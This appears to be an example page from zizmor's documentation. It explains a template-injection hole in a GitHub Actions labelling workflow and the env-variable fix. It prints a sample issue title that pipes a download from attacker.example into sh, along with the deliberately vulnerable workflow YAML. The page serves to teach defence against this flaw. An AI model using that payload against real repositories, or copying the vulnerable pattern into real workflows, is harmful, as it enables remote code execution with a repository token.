Sample workflows

Issue title pasted into a script

A labelling workflow puts github.event.issue.title straight into a run: script.

Anyone can open an issue. GitHub replaces ${{ github.event.issue.title }} with the title before the shell starts, so a title such as x"; curl -s https://attacker.example/x | sh; echo " closes the quoted string and runs the rest, with a token that can edit issues.

The fix passes the title in through env: and reads it as a shell variable. The Fix tab shows zizmor's version of that change.

# Labels new issues by their title. The title is pasted into the shell script.name: Label issues on:  issues:    types: [opened] permissions:  issues: write jobs:  label:    runs-on: ubuntu-latest    steps:      - name: Pick a label        run: |          title="${{ github.event.issue.title }}"          if [[ "$title" == *crash* ]]; then            gh issue edit ${{ github.event.issue.number }} --add-label bug --repo "$GITHUB_REPOSITORY"          fi        env:          GH_TOKEN: ${{ github.token }}